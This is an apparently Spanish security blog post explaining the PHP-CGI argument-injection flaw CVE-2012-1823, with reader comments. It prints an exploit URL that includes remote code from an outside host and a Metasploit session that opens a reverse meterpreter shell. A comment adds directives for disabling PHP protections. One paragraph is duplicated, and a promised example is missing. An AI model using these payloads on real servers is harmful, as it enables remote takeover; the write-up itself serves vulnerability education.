Entre el jueves y el viernes de la semana pasada (al menos yo me enteré ese día) saltó la noticia: Se había publicado una vulnerabilidad en PHP que podría permitir la ejecución de código de forma remota (CVE-2012-1823). La vulnerabilidad solo afecta a aquellos servidores en los que PHP ha sido configurado como CGI, y no como módulo del servidor web, que hasta donde yo sé la configuración más habitual. No obstante, existen conocidos servicios que emplean PHP como un CGI, por lo que aunque no sea la configuración más extendida, el impacto de la vulnerabilidad podría resultar ser muy grave:
La vulnerabilidad, en su concepto, es muy similar a la vulnerabilidad en Java WebStart publicada por Rubén Santamarta el año pasado, y que ya comentamos aquí [1] [2].
El concepto es: El servicio coge una serie de parámetros, entre ellos algunos (o todos) proporcionados por el usuario, y construye una llamada a un binario del sistema. Si no existe un filtrado correcto de dichos parámetros proporcionados por el usuario, podemos llamar al binario añadiendo opciones que el servicio no espera. Por poner un ejemplo (pseudo-código):
Binary = "PrintName.exe"
Args = "-n " + username
execute( Binary, Args )
Lo normal sería que el usuario introdujera su nombre pero ¿qué pasa si introduce algo como "Jose -cmd id"? Pues bueno, suponiendo que ese binario tiene una opción "-cmd" que le hace ejecutar el comando que se le pase, el usuario estaría consiguiendo ejecutar el comando "id" para ver los privilegios del usuario que ejecuta el servicio (en un Unix).
Esto es exactamente lo que ocurre en esta vulnerabilidad: Es posible añadir parámetros en la llamada a php-cgi cuando es llamado para interpretar una página, pero... ¿qué opciones nos da el binario php-cgi? Podemos ver todas sus opciones en la web de PHP (pone que es para el binario php, pero son las mismas opciones para php-cgi, por lo que he podido ver). De entre ellas, hay un par que resultan especialmente interesantes:
-d foo[=bar] Define INI entry foo with value 'bar'
-n No php.ini file will be used
Parece ser que podemos añadir parámetros como si estuvieran en php.ini pero para esa ejecución concreta de PHP. Eso es muuuy interesante. Si pegamos un vistazo a las opciones que permite php.ini, también vemos un par que pueden servirnos para nuestros oscuros propósitos:
-d foo[=bar] Define INI entry foo with value 'bar'
-n No php.ini file will be used
Parece ser que podemos añadir parámetros como si estuvieran en php.ini pero para esa ejecución concreta de PHP. Eso es muuuy interesante. Si pegamos un vistazo a las opciones que permite php.ini, también vemos un par que pueden servirnos para nuestros oscuros propósitos:
Nombre | Por defecto | Cambiable | Historial de cambios |
---|---|---|---|
allow_url_include | "0" | PHP_INI_ALL | PHP_INI_SYSTEM en PHP 5. Disponible desde PHP 5.2.0. |
auto_prepend_file | NULL | PHP_INI_PERDIR | PHP_INI_ALL en PHP <= 4.2.3. |
Bueno, pues parece que ya vamos viendo la luz al final del túnel: Si activamos que permita incluir URLs y hacemos que incluya el código PHP que queramos, ya podemos pasar a cosas más interesantes. Tendríamos entonces que construir una URL tal que así:
http://php.pentester.es/?-d+allow_url_include=on+-d+auto_prepend_file=http://foo.pentester.es/exploit.txt
Esto debería funcionar y el código PHP en exploit.txt debería ser ejecutado por la web a la que estamos atacando, pero mirando los exploits publicados he visto algo que no conocía y que me ha gustado bastante, y es que podemos usar una URL especial php://input que lo que hace referencia es al contenido proporcionado por la entrada estándar, que en el caso de esta llamada será el contenido pasado por POST, así que podemos insertar código PHP sin necesidad de hacer referencia a ninguna URL externa, simplemente pasando el código por POST. La cosa quedaría así:
A partir de aquí ya solo tenemos que cambiar el contenido del parámetro "cmd" que estamos pasando por POST y poner el comando que queramos, y eso se ejecutará en el sistema con las restricciones que haya aplicado el sysadmin al usuario que ejecuta el servicio.
Dando un paso más allá, además de ejecutarlo a mano, resulta que la gente de Metasploit ya ha desarrollado un módulo llamado "php_cgi_arg_injection", lo cual hace muchísimo más sencilla su explotación:
$ ./msfconsole
msf > use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection) > set LHOST 172.16.146.1
msf exploit(php_cgi_arg_injection) > set RHOST php.pentester.es
msf exploit(php_cgi_arg_injection) > set TARGETURI /
msf exploit(php_cgi_arg_injection) > exploit
[*] Started reverse handler on 172.16.146.1:4444
[*] Sending stage (38791 bytes) to 172.16.146.128
[*] Meterpreter session 2 opened (172.16.146.1:4444 -> 172.16.146.128:41732) at Sat May 05 11:31:00 +0200 2012
meterpreter > sysinfo
OS : Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686
Computer : bt
Meterpreter : php/php
meterpreter > getuid
Server username: www-data (33)
meterpreter > portfwd --help
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-L
-h Help banner.
-l
-p
-r
No he jugado mucho con el Meterpreter PHP, pero imagino que tendrá una funcionalidad bastante reducida (igual que el de Java), pero por lo que he podido ver tiene la suficiente funcionalidad como para subir y bajar ficheros, redirigir puertos y algunas otras de esas funciones que tanto me gustan, y que nos van a acercar un poco más al PWN total del servidor.
7 comentarios :
Buen análisis. Gracias José. Es curioso que existan vulnerabilidades que parecen tan sencillas (cuando las conoces claro) en soluciones ampliamente desplegadas y de software abierto.
@Florencio: Parece ser que el tema es que tenían la vulnerabilidad parcheada desde hace mucho tiempo, pero en uno de los commits de nuevas versiones se lo cargaron.
Sucede con frecuencia, sobretodo cuando muchas personas tocan un código. De hecho si te fijas hay bastantes vulnerabilidades que se descubren y al cabo de mucho tiempo de estar corregidas vuelven a funcionar, por cuestiones similares.
el exploit de metasploit incluye unas directivas adicionales muy interesantes:
-d+safe_mode%3doff
-d+suhosin.simulation%3don
-d+disable_functions%3d%22%22
que permiten eliminar restricciones típicamente usadas en hostings compartidos donde, además, es muy común ver php ejecutándose via CGI (como forma de conseguir la "ejecución restringida al propio usuario")
@mgesteiro: Sí, estuve mirando algunos exploits y me di cuenta que el de Metasploit incluía esos parámetros, aunque en su momento no pensé que fueran para entornos de Hosting compartido.
Gracias por la aportación :)
las directivas son útiles en general :)
pero es la combinación con CGI lo que es típico de un hosting compartido... esperando oleada masiva de ataques en 3 2 1 ...
como siempre, un 0 para el SDC de php (regresiones, parches de seguridad que funcionan a medias... un desastre)
Excelente, podrán ayudarme en esto:
Estoy desarrollando un básico mvc mini framework 4j
via @sourceforge ('https://sourceforge.net/projects/mvcframework/')
Se agradece alguna sugerencia y bug.
se agradece apoyar si se encuentra algun bug de seguridad.
Aquí la demo para que testen seguridad y todo tipo de ataques.
Demo: http://vasquezader.16mb.com/
El proyecto es FreeBSD, pueden codificarlo pero se agradece mantener los créditos @vasquezader.
Envíeme sugerencias a vasquezader@gmail.com
Publicar un comentario